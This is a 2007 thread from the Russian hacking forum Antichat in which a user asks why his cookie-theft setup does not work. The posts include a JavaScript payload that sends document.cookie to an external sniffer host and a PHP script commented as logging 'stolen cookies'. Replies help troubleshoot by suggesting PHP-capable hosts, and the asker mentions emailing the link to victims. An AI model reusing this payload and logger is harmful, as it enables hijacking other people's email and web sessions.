Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   E-Mail (https://forum.antichat.xyz/forumdisplay.php?f=14)
-   -   на счет перехвата cookies. что я не так делаю? (https://forum.antichat.xyz/showthread.php?t=44785)

Miixxa 19.07.2007 12:27

на счет перехвата cookies. что я не так делаю?
 
вообщем у меня вопрос на счет перехвата cookies, можете мне объяснить, что я не так делаю?
вот есть скажем к примеру:
1. лог сниффера http://hackedpro.org/tools/sniff/log.php
2. адресс сниффера http://hackedpro.org/tools/sniff/s.gif

начала с того что просто тупо в браузере ввел:
http://hackedpro.org/tools/sniff/s.gif?document.cookie

в логе посмотрел, получил инфу кроме моего cookies

далее создал файл с раширением html в котором:
<script>
img = new Image();
img.src = "http://hackedpro.org/tools/sniff/s.gif?"+document.cookie;
</script>

запустил его, эффект тот же (все кроме cookies).

Далее разместил на сайте www.miixxa.narod.ru
2 файла:
первый php-script.php в котором:
<?
$query="{$HTTP_GET_VARS['com'] }\r\n"; //эта часть скрипта принимает украденные cookies, переданные JavaScript'ом.
$file="cookies.txt"; //здесь мы определили файл, куда будет производиться запись полученных cookies.
if (is_writeable ($file)) { //проверяем можно ли производить запись в файл.
$fh=fopen ($file, "a+"); //открыли файл для записи, запись всегда будет производиться в конец файла.
fputs ($fh, "$query"); //записали cookies в файл.
fclose ($fh); } //после записи закрыли файл.
else {
echo "Error!"; //Этот скрипт не просто запишет украденные cookie, но и скажет нам если вышла какая-то ошибка.
}
?>

и второй файл cookies.txt

Создал третий файл 1.html в котором:

<script>
img = new Image();
img.src = "http://www.miixxa.narod.ru/php-script.php?com="+document.cookie;
</script>

запустил этот файл, проверил cookies.txt - ничего.

Что я не так делаю? можете помочь?

Piflit 19.07.2007 12:38

Цитата:

Сообщение от Miixxa
начала с того что просто тупо в браузере ввел...

ты с полом все-таки определись))

1.php и php-script.php - разные названия одного скрипта, а они должны совпадать =)

Miixxa 19.07.2007 12:44

отредактировал, по именам фалов все ок, просто здесь ошибься.... Жду помощи в чем моя ошибка...

n3m0 19.07.2007 12:50

На НАРОД.Ру вроде нету поддержки Php

Y.Dmitriy 19.07.2007 12:51

Это бред какой-то... почитай в манах как это делать(там все написано!), попробуй на себе...

Miixxa 19.07.2007 12:55

да, живопись интереснее, там все понятнее :) может мне кто-нибудь укажет конкретно что мне изменить в моих действиях, в файлах....?

Piflit 19.07.2007 12:57

Цитата:

Сообщение от Miixxa
да, живопись интереснее, там все понятнее :) может мне кто-нибудь укажет конкретно что мне изменить в моих действиях, в файлах....?

хостера тебе надо изменить

NOmeR1 19.07.2007 12:59

Цитата:

Сообщение от Miixxa
да, живопись интереснее, там все понятнее :) может мне кто-нибудь укажет конкретно что мне изменить в моих действиях, в файлах....?

поменяй хостинг, на котором лежит php-script.php, на любой с поддержкой PHP (tulpar.net, fatal.ru, holm.ru, 6te.net......)

Miixxa 19.07.2007 13:02

т.е. запуская файл 1.html я краду кукесы с народа.ру? а если разместить данный файл также на народе а в мыле адресу вставить ссылку на него, то кукесы опять с народа будут?

Y.Dmitriy 19.07.2007 13:03

ДА НЕТ НА НАРОДЕ ИНТЕРПРИТАТОРА ПХП ФАЙЛОВ... там только статический файлы .html, .xhtml и тд... тебе нужон хостинг с поддержкой ПХП! удачи!


Время: 22:19